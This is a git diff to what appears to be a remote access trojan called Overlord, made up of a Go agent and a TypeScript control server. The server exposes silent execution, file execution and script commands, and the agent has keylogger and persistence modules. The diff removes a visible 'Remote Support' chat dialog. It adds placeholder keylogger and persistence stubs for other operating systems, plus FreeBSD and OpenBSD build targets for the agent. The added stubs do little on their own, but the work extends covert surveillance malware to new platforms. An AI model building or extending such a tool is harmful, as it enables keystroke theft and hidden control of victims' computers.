diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 0196d04..f357126 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -4,10 +4,8 @@ import ( "context" "encoding/json" "errors" - "fmt" "log" "os" - "os/exec" goruntime "runtime" "strconv" "strings" @@ -340,107 +338,6 @@ func writeVoiceDownlink(data []byte) error { return nil } -func showSupportChatDialog(message, operator string, requireReply bool) (string, error) { - msg := strings.TrimSpace(message) - if msg == "" { - return "", errors.New("missing support message") - } - title := "Remote Support" - if operator = strings.TrimSpace(operator); operator != "" { - title = fmt.Sprintf("Remote Support - %s", operator) - } - - switch goruntime.GOOS { - case "windows": - return showSupportChatWindows(msg, title, requireReply) - case "darwin": - return showSupportChatDarwin(msg, title, requireReply) - case "linux": - return showSupportChatLinux(msg, title, requireReply) - default: - return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS) - } -} - -func showSupportChatWindows(message, title string, requireReply bool) (string, error) { - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) - defer cancel() - - var cmd *exec.Cmd - if requireReply { - script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp` - cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script) - } else { - script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)` - cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script) - } - cmd.Env = append(os.Environ(), - "OVERLORD_SUPPORT_MESSAGE="+message, - "OVERLORD_SUPPORT_TITLE="+title, - ) - out, err := cmd.CombinedOutput() - if err != nil { - return "", fmt.Errorf("windows support dialog failed: %w", err) - } - if !requireReply { - return "", nil - } - return strings.TrimSpace(string(out)), nil -} - -func showSupportChatDarwin(message, title string, requireReply bool) (string, error) { - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) - defer cancel() - - esc := func(s string) string { - s = strings.ReplaceAll(s, `\\`, `\\\\`) - s = strings.ReplaceAll(s, `"`, `\\"`) - return s - } - msg := esc(message) - ttl := esc(title) - - var script string - if requireReply { - script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl) - } else { - script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl) - } - - out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput() - if err != nil { - return "", fmt.Errorf("macOS support dialog failed: %w", err) - } - if !requireReply { - return "", nil - } - return strings.TrimSpace(string(out)), nil -} - -func showSupportChatLinux(message, title string, requireReply bool) (string, error) { - if _, err := exec.LookPath("zenity"); err != nil { - return "", errors.New("zenity is required for support chat on Linux") - } - - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) - defer cancel() - - if requireReply { - cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message) - out, err := cmd.CombinedOutput() - if err != nil { - return "", fmt.Errorf("linux support input failed: %w", err) - } - return strings.TrimSpace(string(out)), nil - } - - cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message) - if _, err := cmd.CombinedOutput(); err != nil { - return "", fmt.Errorf("linux support message failed: %w", err) - } - return "", nil -} - func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { cmdID, _ := envelope["id"].(string) action, _ := envelope["commandType"].(string) @@ -1588,24 +1485,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in scriptType = "powershell" } return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType) - case "support_chat": - payload, _ := envelope["payload"].(map[string]interface{}) - message, _ := payload["message"].(string) - operator, _ := payload["operator"].(string) - requireReply := true - if payload != nil { - if v, ok := payload["requireReply"].(bool); ok { - requireReply = v - } - } - reply, err := showSupportChatDialog(message, operator, requireReply) - if err != nil { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) - } - if requireReply { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)}) - } - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"}) case "silent_exec": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go new file mode 100644 index 0000000..e41caaa --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go @@ -0,0 +1,30 @@ +//go:build !windows && !linux && !darwin + +package keylogger + +import ( + "fmt" + "log" + "runtime" + "time" +) + +func (k *Keylogger) captureKeystrokes() error { + log.Printf("[keylogger] keylogging is not implemented on %s - placeholder mode", runtime.GOOS) + + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + + for { + select { + case <-k.stopCh: + return nil + case <-ticker.C: + k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05"))) + } + } +} + +func getWindowTitle() string { + return "" +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_default.go b/Overlord-Client/cmd/agent/persistence/persistence_default.go new file mode 100644 index 0000000..e1e11b5 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_default.go @@ -0,0 +1,21 @@ +//go:build !windows && !linux && !darwin + +package persistence + +import "fmt" + +func install(_ string) error { + return fmt.Errorf("persistence is not implemented on this platform") +} + +func configure(_ string) error { + return fmt.Errorf("persistence is not implemented on this platform") +} + +func getTargetPath() (string, error) { + return "", fmt.Errorf("persistence is not implemented on this platform") +} + +func uninstall() error { + return nil +} diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index f16e395..e5d9073 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -122,32 +122,6 @@ export async function sendCommand(clientId, action) { } } -export async function sendSupportChat(clientId, message, requireReply = true) { - try { - const res = await fetch(`/api/clients/${clientId}/command`, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ action: "support_chat", message, requireReply }), - }); - const data = await res.json().catch(() => ({})); - if (!res.ok) { - return { - ok: false, - error: data?.error || `support chat failed ${res.status}`, - response: "", - }; - } - return { - ok: Boolean(data?.ok), - error: data?.error || "", - response: typeof data?.response === "string" ? data.response : "", - }; - } catch (err) { - console.error(err); - return { ok: false, error: "Support chat request failed", response: "" }; - } -} - export async function fetchVoiceCapabilities(clientId) { try { const res = await fetch(`/api/clients/${clientId}/command`, { diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 8db46b1..e68bee1 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -71,7 +71,6 @@ export type CommandType = | "file_chmod" | "file_execute" | "silent_exec" - | "support_chat" | "voice_session_start" | "voice_session_stop" | "voice_downlink" diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 31ec4de..657ca1c 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -385,56 +385,6 @@ export async function handleClientRoutes( } catch (error: any) { return Response.json({ ok: false, error: error.message }, { status: 500 }); } - } else if (action === "support_chat") { - const message = typeof body?.message === "string" ? body.message.trim() : ""; - const requireReply = body?.requireReply !== false; - const operator = typeof user?.username === "string" ? user.username.trim() : ""; - - if (!message) { - return Response.json({ ok: false, error: "Message is required" }, { status: 400 }); - } - if (message.length > 1200) { - return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 }); - } - - const cmdId = uuidv4(); - const waitTimeoutMs = 4 * 60 * 1000; - let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null; - - if (requireReply) { - replyPromise = new Promise((resolve, reject) => { - const timeout = setTimeout(() => { - deps.pendingCommandReplies.delete(cmdId); - reject(new Error("Support chat reply timed out")); - }, waitTimeoutMs); - deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout }); - }); - } - - target.ws.send( - encodeMessage({ - type: "command", - commandType: "support_chat", - id: cmdId, - payload: { - message, - requireReply, - operator, - }, - }), - ); - metrics.recordCommand("support_chat"); - - if (!replyPromise) { - return Response.json({ ok: true }); - } - - try { - const reply = await replyPromise; - return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS }); - } catch (error: any) { - return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 }); - } } else if (action === "voice_capabilities") { const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { diff --git a/build-clients.bat b/build-clients.bat index f912036..6de1220 100644 --- a/build-clients.bat +++ b/build-clients.bat @@ -131,6 +131,34 @@ set CGO_ENABLED=0 %BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-amd64" ./cmd/agent if errorlevel 1 goto :err +echo == Building agent for freebsd amd64 == +set GOOS=freebsd +set GOARCH=amd64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-amd64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for freebsd arm64 == +set GOOS=freebsd +set GOARCH=arm64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-arm64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for openbsd amd64 == +set GOOS=openbsd +set GOARCH=amd64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-amd64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for openbsd arm64 == +set GOOS=openbsd +set GOARCH=arm64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-arm64" ./cmd/agent +if errorlevel 1 goto :err + echo Builds complete. Outputs in %OUT_DIR% goto :eof diff --git a/start-dev-client.sh b/start-dev-client.sh index ddec487..427d8a0 100644 --- a/start-dev-client.sh +++ b/start-dev-client.sh @@ -17,6 +17,8 @@ ARCH="$(uname -m)" case "$OS" in Darwin) PLATFORM="mac";; Linux) PLATFORM="linux";; + FreeBSD) PLATFORM="freebsd";; + OpenBSD) PLATFORM="openbsd";; *) PLATFORM="unknown";; esac @@ -32,6 +34,18 @@ if [ "$PLATFORM" = "mac" ]; then fi elif [ "$PLATFORM" = "linux" ]; then BIN_NAME="agent-linux-amd64" +elif [ "$PLATFORM" = "freebsd" ]; then + if [ "$ARCH" = "x86_64" ]; then + BIN_NAME="agent-freebsd-amd64" + elif [ "$ARCH" = "aarch64" ] || [ "$ARCH" = "arm64" ]; then + BIN_NAME="agent-freebsd-arm64" + fi +elif [ "$PLATFORM" = "openbsd" ]; then + if [ "$ARCH" = "x86_64" ]; then + BIN_NAME="agent-openbsd-amd64" + elif [ "$ARCH" = "aarch64" ] || [ "$ARCH" = "arm64" ]; then + BIN_NAME="agent-openbsd-arm64" + fi fi if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then